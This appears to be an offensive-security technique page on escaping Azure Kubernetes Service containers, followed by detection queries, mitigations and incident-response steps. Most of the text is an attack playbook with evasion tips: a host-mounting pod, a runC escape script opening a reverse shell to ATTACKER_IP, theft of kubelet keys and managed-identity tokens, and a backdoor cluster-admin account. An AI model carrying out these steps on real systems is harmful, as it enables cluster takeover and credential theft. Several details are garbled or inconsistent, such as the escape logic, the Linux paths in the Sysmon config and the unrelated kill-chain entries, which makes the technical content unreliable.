| Attribute | Details |
|---|---|
| Technique ID | PE-EXPLOIT-008 |
| MITRE ATT&CK v18.1 | T1611 - Escape to Host |
| Tactic | Privilege Escalation |
| Platforms | Entra ID / Azure Kubernetes Service (AKS) |
| Severity | Critical |
| CVE | CVE-2025-21196 |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | AKS 1.25.0 - 1.28.3 (at time of disclosure); runC-based runtimes (containerd, Docker) |
| Patched In | AKS 1.28.4+; runC 1.1.12+ (for related runc CVEs: 31133, 52565, 52881) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: CVE-2025-21196 is a critical container escape vulnerability in Azure Kubernetes Service (AKS) affecting clusters running Kubernetes versions 1.25.0 through 1.28.3. The vulnerability stems from misconfiguration in the container orchestration layer, allowing attackers with command execution inside a pod to escape container isolation, gain access to the underlying node, and subsequently pivot to cluster-wide compromise. An attacker can exploit this by leveraging either misconfigured pod security contexts, vulnerable runC versions (CVE-2025-31133, CVE-2025-52565, CVE-2025-52881), or access to sensitive metadata endpoints (WireServer) within AKS infrastructure to extract bootstrap tokens and kubelet credentials.
Attack Surface: The primary attack surfaces include:
Business Impact: Catastrophic data breach, complete cluster takeover, and lateral movement into Azure subscriptions. A successful container escape enables attackers to: (1) exfiltrate all secrets stored in the Kubernetes cluster, including database credentials and API keys; (2) deploy cryptominers or ransomware across all nodes; (3) move laterally into Azure resources via compromised managed identities; (4) modify or delete critical workloads; (5) establish persistent backdoors for long-term access.
Technical Context: Container escape from AKS can typically be achieved in under 10 minutes once initial pod access is obtained. The exploit chain follows: Pod RCE → Container Escape (via runC/kernel vuln) → Node Access → Bootstrap Token Extraction → Cluster Admin Escalation via Trampoline Pods. Detection likelihood is high if Pod Security Standards and runtime monitoring are enabled, but low if misconfigured RBAC and permissive policies exist.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Kubernetes 4.1.1, 4.2.1 | Containers should run as non-root; privileged pod execution should be restricted |
| DISA STIG | V-254801 | Kubernetes must prevent privileged containers |
| CISA SCuBA | K8S-01 | Pod Security Standards must enforce baseline or restricted policies |
| NIST 800-53 | AC-3, SI-7 | Access enforcement and information system monitoring |
| GDPR | Art. 32 | Security of processing - appropriate technical measures for encryption and access control |
| DORA | Art. 9, Art. 16 | Protection and prevention measures; incident management and reporting |
| NIS2 | Art. 21 | Cyber risk management measures for critical infrastructure operators |
| ISO 27001 | A.9.2.3, A.12.2.3 | Management of privileged access rights; logging and monitoring |
| ISO 27005 | Risk Scenario - Compromise of Containerized Infrastructure | Unauthorized access to container orchestration platform leading to data breach |
Required Privileges:
Required Access:
/var/lib/kubelet/kubeconfig.yaml or bootstrap token locationsSupported Versions:
Tools:
# Step 1: Check if you have kubectl access to the AKS cluster
kubectl cluster-info
What to Look For:
v1.28.3 is vulnerable)# Step 2: Check current pod's service account permissions
kubectl auth can-i --list
# Step 3: Check if your pod can create other pods or access secrets
kubectl auth can-i create pods --all-namespaces
kubectl auth can-i get secrets --all-namespaces
What to Look For:
yes for create pods → high privilege container, potential for privilege escalationyes for get secrets → can extract cluster secretsVersion Note: Commands are identical across Kubernetes 1.25-1.28. Behavior may differ in 1.29+ due to Pod Security Admission improvements.
# Step 1: Identify the container runtime version
kubectl version --short
kubeadm version 2>/dev/null || echo "Not a control plane node"
What to Look For:
runC version, confirm if < 1.1.12 (vulnerable)# Step 2: Check if pod has NET_RAW or SYS_ADMIN capabilities
# From inside pod:
cat /proc/self/status | grep Cap
# Decode capabilities (Hex to binary)
# Example: CapEff: 00000000a80425fb
# This indicates CAP_SYS_ADMIN, CAP_NET_RAW, CAP_SYS_RESOURCE are present
What to Look For:
CAP_SYS_ADMIN or CAP_NET_RAW indicates vulnerability to kernel-based escapes# Step 3: Check access to WireServer endpoint (AKS-specific)
# From inside pod:
curl -H "Metadata:true" "http://168.63.129.16/metadata/endpoints?api-version=2017-12-01"
What to Look For:
Supported Versions: AKS 1.25.0 - 1.28.3 (runC < 1.1.12)
Objective: Establish command execution inside a vulnerable AKS pod.
Command (Attacker’s Perspective - Deployment YAML):
apiVersion: v1
kind: Pod
metadata:
name: malicious-pod
namespace: default
spec:
serviceAccountName: default
containers:
- name: escape-container
image: ubuntu:22.04 # Benign image; actual payload injected
command: ["/bin/bash", "-c", "sleep infinity"]
volumeMounts:
- name: host-root
mountPath: /host-root
readOnly: false
securityContext:
privileged: false # Initially unprivileged
volumes:
- name: host-root
hostPath:
path: /
type: Directory
Execution Command:
kubectl apply -f malicious-pod.yaml
kubectl exec -it malicious-pod -- /bin/bash
What This Means:
default service account and unprivileged container/ enables later access to node filesystemOpSec & Evasion:
privileged: true initiallyTroubleshooting:
restricted policy enabledkube-system or other exempted namespaceObjective: Escape container and gain host root access via masked paths abuse.
Command (Inside Container):
#!/bin/bash
# CVE-2025-31133 exploit: Replace /dev/null with symlink to attacker-controlled file
# This allows runc to bind-mount arbitrary host paths into container
# Step 2a: Prepare exploit
cd /tmp
mkdir -p exploit
cd exploit
# Step 2b: Create symlink replacing /dev/null
# This causes runc to mount an attacker-controlled /proc/sys/kernel/core_pattern file
ln -sf /proc/sys/kernel/core_pattern /dev/null
# Step 2c: Trigger runc to execute inside container (simulated via kubectl exec)
# From attacker's control station:
# kubectl exec -it malicious-pod -- /bin/bash -c 'exploit_code'
# Step 2d: Overwrite kernel core_pattern to execute payload as root
echo '|/tmp/payload.sh' > /proc/sys/kernel/core_pattern
# Step 2e: Trigger core dump (causes payload execution as root)
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &'
# Simultaneously send SIGSEGV to force core dump
kill -SEGV $$
Expected Output:
# On attacker's listener (nc -nlvp 4444):
# Connection from pod indicates root shell access on host
bash-5.1# id
uid=0(root) gid=0(root) groups=0(root)
bash-5.1# hostname
aks-nodepool-12345-vmss000001
What This Means:
root shell on the AKS worker nodeOpSec & Evasion:
Troubleshooting:
/proc/sys/kernel/core_pattern
CAP_SYS_ADMINObjective: Access kubelet’s TLS certificate and bootstrap token to authenticate to Kubernetes API.
Command (As root on node):
# Step 3a: Locate kubelet kubeconfig
ls -la /var/lib/kubelet/kubeconfig.yaml
# Step 3b: Extract kubelet certificate
cat /var/lib/kubelet/kubeconfig.yaml
Expected Output:
apiVersion: v1
clusters:
- cluster:
certificate-authority-data: LS0tLS1CRUdJ... # Base64-encoded CA cert
server: https://10.0.0.1:6443
name: aks-cluster
contexts:
- context:
cluster: aks-cluster
user: kubelet
name: default
current-context: default
kind: Config
preferences: {}
users:
- name: kubelet
user:
client-certificate-data: LS0tLS1CRUdJ... # Kubelet client cert
client-key-data: LS0tLS1CRUdJ... # Kubelet private key
What This Means:
OpSec & Evasion:
Troubleshooting:
/etc/kubernetes/kubelet.conf or /var/lib/kubelet/pki/Objective: Extract Azure Managed Identity credentials to pivot into Azure subscription.
Command (As root on node):
# Step 4a: Query WireServer endpoint
curl -s -H "Metadata:true" "http://168.63.129.16/metadata/endpoints?api-version=2017-12-01" | jq .
# Step 4b: Extract wireserver.key (used to decrypt provisioning script)
# WireServer response contains encrypted settings
# Attempt to decrypt using known Azure keys (if available)
# Step 4c: Query IMDS for managed identity token
curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com/" \
| jq .
Expected Output:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...",
"token_type": "Bearer",
"expires_in": 3599
}
What This Means:
OpSec & Evasion:
Troubleshooting:
Supported Versions: All AKS versions (1.25+)
Objective: Find DaemonSet or deployment pod with cluster-admin or escalate permissions.
Command (From compromised pod with kubectl access):
# Step 1a: List all service accounts and their permissions
for sa in $(kubectl get sa -A -o name); do
echo "Checking $sa:"
kubectl auth can-i --as=$sa '*' '*' --all-namespaces 2>/dev/null | grep yes
done
# Step 1b: Identify DaemonSet pods (typically run on every node)
kubectl get daemonsets -A -o wide
# Step 1c: Identify service account attached to each DaemonSet
kubectl get daemonsets -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.template.spec.serviceAccountName}{"\n"}{end}'
Expected Output:
kube-system coredns-autoscaler default
kube-system azure-cni azure-cni
kube-system cilium cilium-operator
kube-system kube-proxy kube-proxy
What This Means:
escalate or bind permissions, they are “trampoline pods”OpSec & Evasion:
Troubleshooting:
Objective: Extract service account token from trampoline pod and use it for cluster-admin operations.
Command (Assuming cilium-operator is a trampoline pod):
# Step 2a: From your compromised pod, create a pod in kube-system namespace that shares host network
# This allows accessing other pods' service account tokens
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: trampoline-abuse
namespace: kube-system
spec:
serviceAccountName: default
hostNetwork: true # Key: share host network to access pod metadata
containers:
- name: abuse
image: alpine:latest
command:
- sh
- -c
- |
# Mount host filesystem
mount -o bind / /mnt/host
# List service account tokens from cilium-operator pods
ls -la /mnt/host/var/lib/kubelet/pods/*/volumes/kubernetes.io~projected/*/TOKEN
# Copy cilium-operator token
cp /mnt/host/var/lib/kubelet/pods/CILIUM_POD_ID/volumes/kubernetes.io~projected/*/TOKEN /tmp/cilium-token
# Authenticate as cilium-operator
export KUBECONFIG=/tmp/kubeconfig-cilium
kubectl config set-cluster aks --server=https://10.0.0.1:6443 --certificate-authority=/mnt/host/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
kubectl config set-credentials cilium --token=$(cat /tmp/cilium-token)
kubectl config set-context default --cluster=aks --user=cilium
kubectl config use-context default
# Now check cilium's permissions
kubectl auth can-i '*' '*' --all-namespaces
# If yes, escalate role
kubectl edit clusterrole cilium-operator # Add cluster-admin permissions
volumeMounts:
- name: host-fs
mountPath: /mnt/host
volumes:
- name: host-fs
hostPath:
path: /
type: Directory
EOF
kubectl wait --for=condition=ready pod/trampoline-abuse -n kube-system --timeout=30s
kubectl logs -n kube-system trampoline-abuse
Expected Output:
yes # cilium-operator can escalate roles
# Cluster role binding updated
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Establish persistent cluster access by creating a new service account with cluster-admin permissions.
Command (Using cilium-operator token):
# Step 3a: Create new ClusterRole with all permissions
kubectl create clusterrole attacker-admin --verb='*' --resource='*'
# Step 3b: Create new service account
kubectl create serviceaccount attacker-sa -n kube-system
# Step 3c: Bind service account to cluster-admin role
kubectl create clusterrolebinding attacker-admin-binding \
--clusterrole=cluster-admin \
--serviceaccount=kube-system:attacker-sa
# Step 3d: Extract token (persistent access key)
kubectl create token attacker-sa -n kube-system --duration=87600h
Expected Output:
token: eyJhbGciOiJSUzI1NiIsImtpZCI6IkJfRW1kZEZVRVBqS...
# This token is valid for 10 years and has cluster-admin permissions
What This Means:
OpSec & Evasion:
Troubleshooting:
Version: 1.28+ Minimum Version: 1.20+ Supported Platforms: Linux, macOS, Windows
Installation:
# Linux
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl
sudo mv kubectl /usr/local/bin/
# Verify
kubectl version --client
Usage:
# Authenticate to AKS cluster
az aks get-credentials --resource-group myResourceGroup --name myAKSCluster
# Verify access
kubectl cluster-info
# Run command in pod
kubectl exec -it <pod-name> -- /bin/bash
Version: 2.40+ Purpose: Manage AKS clusters and extract credentials
Installation:
# macOS
brew install azure-cli
# Linux
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
# Verify
az --version
Usage:
# Login to Azure
az login
# Get AKS credentials
az aks get-credentials --resource-group myRG --name myCluster
# Query managed identities
az identity list --query "[].{name:name, principalId:principalId}"
Version: Latest Purpose: Debug container runtime (containerd) and extract container metadata
Installation:
# Download crictl
VERSION="v1.31.0"
wget https://github.com/kubernetes-sigs/cri-tools/releases/download/$VERSION/crictl-$VERSION-linux-amd64.tar.gz
tar zxvf crictl-$VERSION-linux-amd64.tar.gz
sudo mv crictl /usr/local/bin/
Usage (from node with root access):
# List all running containers
crictl ps
# Inspect container
crictl inspect <container-id>
# Extract container's environment variables
crictl exec <container-id> env
Rule Configuration:
KQL Query:
let timeframe = 5m;
KubeletAudit
| where TimeGenerated >= ago(timeframe)
| where verb in ("create", "update") and objectRef.kind == "Pod"
| where tostring(requestObject.spec.securityContext.privileged) == "true"
or tostring(requestObject.spec.securityContext.hostPID) == "true"
or tostring(requestObject.spec.securityContext.hostNetwork) == "true"
or tostring(requestObject.spec.securityContext.hostIPC) == "true"
| where user.username !in ("system:kube-controller-manager", "system:kube-scheduler") // Exclude system accounts
| project
TimeGenerated,
user_username=user.username,
pod_name=objectRef.name,
namespace=objectRef.namespace,
privileged=requestObject.spec.securityContext.privileged,
hostPID=requestObject.spec.securityContext.hostPID,
verb
| order by TimeGenerated desc
What This Detects:
Manual Configuration Steps (Azure Portal):
Detect Privileged Pod Creation in AKSHighDetects attempts to create pods with privileged security contexts that could enable container escape5 minutes1 hourManual Configuration Steps (PowerShell):
# Connect to Sentinel workspace
$ResourceGroup = "myResourceGroup"
$WorkspaceName = "mySentinelWorkspace"
# Create the analytics rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Detect Privileged Pod Creation in AKS" `
-Query @"
let timeframe = 5m;
KubeletAudit
| where TimeGenerated >= ago(timeframe)
| where verb in ("create", "update") and objectRef.kind == "Pod"
| where tostring(requestObject.spec.securityContext.privileged) == "true"
or tostring(requestObject.spec.securityContext.hostPID) == "true"
or tostring(requestObject.spec.securityContext.hostNetwork) == "true"
or tostring(requestObject.spec.securityContext.hostIPC) == "true"
| where user.username !in ("system:kube-controller-manager", "system:kube-scheduler")
| project
TimeGenerated,
user_username=user.username,
pod_name=objectRef.name,
namespace=objectRef.namespace,
privileged=requestObject.spec.securityContext.privileged,
hostPID=requestObject.spec.securityContext.hostPID,
verb
| order by TimeGenerated desc
"@ `
-Severity "High" `
-Enabled $true `
-ScheduleInterval (New-TimeSpan -Minutes 5) `
-ScheduleThreshold 1
Rule Configuration:
KQL Query:
let timeframe = 1m;
AKSAudit
| where TimeGenerated >= ago(timeframe)
| where verb == "get" and objectRef.kind == "Secret"
| where objectRef.name contains "token" or objectRef.name endswith "-token"
| where responseStatus.code != 403 // Successful request
| project
TimeGenerated,
user_username=user.username,
secret_name=objectRef.name,
namespace=objectRef.namespace,
sourceIPs=sourceIPs
| where user_username !in ("system:kube-proxy", "system:kubelet")
| order by TimeGenerated desc
What This Detects:
Manual Configuration Steps (Azure Portal):
Detect Service Account Token Extraction from AKSCritical1 minute30 minutesEvent ID: 10 (Process accessed)
TargetImage contains "System" or TargetImage contains "csrss.exe"Event ID: 23 (File created)
Image contains "kernel" or UtcTime indicates suspicious timingNote: Most AKS deployments use Linux nodes. Windows node monitoring requires Sysmon deployment on each Windows node via custom script extensions.
Manual Configuration Steps (Group Policy - for Windows nodes only):
gpupdate /force on Windows AKS nodesMinimum Sysmon Version: 13.0+ Supported Platforms: Linux (via osquery integration), Windows (native)
<!-- Sysmon Config: Detect Container Escape Indicators -->
<Sysmon schemaversion="4.23">
<!-- Capture process creation with NET_RAW or kernel capabilities -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">execve</CommandLine>
<CommandLine condition="contains">CAP_SYS</CommandLine>
</ProcessCreate>
<!-- Detect file writes to /proc/sys/kernel/core_pattern (CVE-2025-31133 indicator) -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">/proc/sys/kernel/core_pattern</TargetFilename>
</FileCreate>
<!-- Detect suspicious mount operations -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">mount</CommandLine>
<CommandLine condition="contains">/proc</CommandLine>
</ProcessCreate>
<!-- Detect symlink creation to sensitive files -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">/dev/null</TargetFilename>
</FileCreate>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with the XML aboveapiVersion: apps/v1
kind: DaemonSet
metadata:
name: sysmon-ds
namespace: kube-system
spec:
selector:
matchLabels:
name: sysmon
template:
metadata:
labels:
name: sysmon
spec:
hostNetwork: true
hostPID: true
containers:
- name: sysmon
image: sysmon:latest
volumeMounts:
- name: host-root
mountPath: /
securityContext:
privileged: true
volumes:
- name: host-root
hostPath:
path: /
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Alert Name: “Suspicious pod with privileged settings detected on Kubernetes cluster”
Alert Name: “Container running an interactive command shell”
Manual Configuration Steps (Enable Defender for Cloud):
Patch AKS clusters to version 1.28.4+: Update immediately to remediate CVE-2025-21196 and related runC vulnerabilities.
Manual Steps (Azure Portal):
1.28.4 or newerManual Steps (Azure CLI):
az aks upgrade --resource-group myRG --name myCluster --kubernetes-version 1.28.4
Manual Steps (PowerShell):
Update-AzAksCluster -ResourceGroupName myRG -Name myCluster -KubernetesVersion 1.28.4
Enable Pod Security Admission (Restricted Level): Prevent privileged container execution cluster-wide.
Manual Steps (via Namespace Labels):
kube-system):
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/enforce-version: latest
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restricted
Manual Steps (kubectl):
kubectl label namespace default pod-security.kubernetes.io/enforce=restricted
kubectl label namespace default pod-security.kubernetes.io/audit=restricted
kubectl label namespace default pod-security.kubernetes.io/warn=restricted
Disable NET_RAW capability cluster-wide: Prevents networking-based escape exploits.
Manual Steps (Pod Security Policy - Deprecated but applicable):
kubectl create -f - <<EOF
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: restricted
spec:
privileged: false
requiredDropCapabilities:
- ALL
allowedCapabilities: []
allowPrivilegeEscalation: false
requiredCapabilities: []
runAsUser:
rule: 'MustRunAsNonRoot'
seLinux:
rule: 'MustRunAs'
fsGroup:
rule: 'MustRunAs'
readOnlyRootFilesystem: true
volumes:
- 'configMap'
- 'emptyDir'
- 'projected'
- 'secret'
- 'downwardAPI'
- 'persistentVolumeClaim'
EOF
Manual Steps (Kyverno Policy - Modern Approach):
kubectl create -f - <<EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: drop-net-raw
spec:
validationFailureAction: enforce
rules:
- name: drop-net-raw
match:
resources:
kinds:
- Pod
validate:
message: "NET_RAW capability must be dropped"
pattern:
spec:
containers:
- securityContext:
capabilities:
drop:
- NET_RAW
EOF
Enable Kubelet Authorization (NodeRestriction): Restricts kubelet to only manage its own node’s pods.
Note: NodeRestriction is enabled by default in AKS 1.24+. Verify:
kubectl describe node <node-name> | grep "authorization-mode"
Restrict RBAC Permissions for Default Service Account: Remove cluster-admin from default service accounts.
Manual Steps (kubectl):
# Remove default from cluster-admin binding
kubectl delete clusterrolebinding system:default-admin-bindings 2>/dev/null || true
# Verify default has no permissions
kubectl auth can-i --as=system:serviceaccount:default:default '*' '*'
Enable Azure Policy for AKS: Enforce compliance policies cluster-wide.
Manual Steps (Azure Portal):
KubernetesDenyRBAC: Implement least-privilege roles; audit all ClusterRoleBindings monthly.
Manual Steps (Audit ClusterRoleBindings):
kubectl get clusterrolebinding -o wide | grep -v "system:*"
kubectl get rolebinding -A -o wide | grep -v "system:*"
# Remove unnecessary bindings
kubectl delete clusterrolebinding <binding-name>
Conditional Access (Azure Level): Require Managed Identity + MFA for AKS access.
Manual Steps (Azure Portal):
Require MFA for AKS AccessAzure Kubernetes ServiceHighNetwork Policy: Restrict pod-to-pod communication within cluster.
Manual Steps (Calico Network Policy):
kubectl create -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny
namespace: default
spec:
podSelector: {}
policyTypes:
- Ingress
- Egress
EOF
# Check if cluster is patched
kubectl version --short | grep -oP 'Server: v\K[0-9]+\.[0-9]+\.[0-9]+'
# Expected output: 1.28.4 or higher
# Verify Pod Security Standards are enforced
kubectl get namespace -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.metadata.labels.pod-security\.kubernetes\.io/enforce}{"\n"}{end}'
# Expected output: restricted policy on non-system namespaces
# Check if NET_RAW is dropped
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[*].securityContext.capabilities.drop}{"\n"}{end}'
# Expected output: NET_RAW in drop list
What to Look For:
restrictedNET_RAW or SYS_ADMIN capabilities/tmp/exploit*, /tmp/payload.sh, /tmp/hacked (created during container escape)/var/lib/kubelet/kubeconfig.yaml (modified timestamp indicates access)dmesg if exploit used CAP_SYS_MODULEcreate pods, get secrets, API calls from kubelet service account/var/log/pods/*/kubelet.log on affected nodeIsolate:
Command (kubectl):
# Taint the compromised node to prevent new pods
kubectl taint nodes <node-name> compromised=true:NoExecute
# Drain existing pods
kubectl drain <node-name> --ignore-daemonsets --delete-emptydir-data
Manual (Azure Portal):
Collect Evidence:
Command:
# Export kubelet logs
kubectl logs -n kube-system <kubelet-pod> > /tmp/kubelet-logs.txt
# Export AKS audit logs
az monitor log-analytics query \
--workspace myWorkspace \
--query "AKSAudit | where TimeGenerated >= ago(24h) | where node_name == 'affected-node'"
# Dump node filesystem for forensics (requires SSH to node)
ssh -i ~/.ssh/id_rsa azureuser@<node-ip>
sudo tar -czf /tmp/node-forensics.tar.gz /var/lib/kubelet /var/log/pods
Remediate:
Command:
# Delete all pods from compromised node
kubectl delete pods --all --all-namespaces --field-selector spec.nodeName=<node-name>
# Rotate all service account tokens
kubectl delete secret -A --all # Careful: deletes all secrets
# Then redeploy workloads to regenerate secrets
# Restart kubelet on node (if still online)
ssh -i ~/.ssh/id_rsa azureuser@<node-ip>
sudo systemctl restart kubelet
Manual (Full Cluster Recovery):
az aks delete --name myCluster --resource-group myRG| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-005] AKS control plane access exploitation | Attacker gains shell access in AKS pod via vulnerable application |
| 2 | Persistence | [CA-DUMP-002] DCSync / [CA-TOKEN-013] AKS service account token theft | Attacker extracts kubelet credentials for persistent access |
| 3 | Privilege Escalation | [PE-EXPLOIT-008] AKS Container Escape (CVE-2025-21196) | Attacker breaks out of container to node |
| 4 | Lateral Movement | [PE-VALID-015] AKS Node Identity Compromise | Attacker uses stolen managed identity to access Azure resources |
| 5 | Exfiltration | [REALWORLD-043] SharePoint Metadata Exfiltration | Attacker extracts secrets and data from cluster |
| 6 | Impact | Ransomware deployment on all nodes; Cryptominer installation | Business operations halted; Data encrypted or stolen |
CVE-2025-21196 represents a critical vulnerability chain that enables rapid progression from initial pod access to full cluster and subscription compromise. Organizations running AKS clusters must immediately:
Failure to address this vulnerability leaves entire organizations vulnerable to complete cluster takeover and data exfiltration within minutes.